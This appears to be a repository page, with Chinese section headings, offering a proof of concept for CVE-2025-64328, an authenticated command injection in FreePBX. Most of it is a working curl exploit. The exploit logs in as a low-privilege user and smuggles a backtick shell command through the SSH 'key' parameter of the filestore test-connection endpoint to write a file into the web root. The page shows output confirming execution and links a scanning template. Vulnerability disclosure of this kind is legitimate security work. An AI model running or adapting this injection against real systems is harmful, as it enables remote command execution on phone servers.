CVE-2025-64328 PoC — FreePBX Endpoint Manager 操作系统命令注入漏洞

Description

CVE-2025-64328 FreePBX Authenticated Command Injection in the framework module.

介绍

# CVE-2025-64328 FreePBX Authenticated Command Injection in `framework` module

Simple proof of concept repository for CVE-2025-64328 FreePBX Authenticated Command Injection in the `framework` module.

Full writeup here: https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection/

## `curl` proof of concept
```
$ curl -s \
-XPOST --cookie-jar /tmp/freepbx-cookie --data 'username=lowprivuser&password=<lowprivuserpassword>' http://192.168.122.206/admin/config.php -o /dev/null \
--next \
--cookie /tmp/freepbx-cookie -H 'Referer: http://192.168.122.206' 'http://192.168.122.206/admin/ajax.php?module=filestore&command=testconnection&driver=SSH&host=127.0.0.1&user=asdf&port=22&key=asdf`echo%20rcetest2>/var/www/html/rcetest.txt`&path=test' | jq
{
  "status": true,
  "message": "Login failed"
}

$ curl -sk http://192.168.122.206/rcetest.txt
rcetest2
```
## Nuclei template:

[CVE-2025-64328.yaml](./CVE-2025-64328.yaml)

文件快照

备注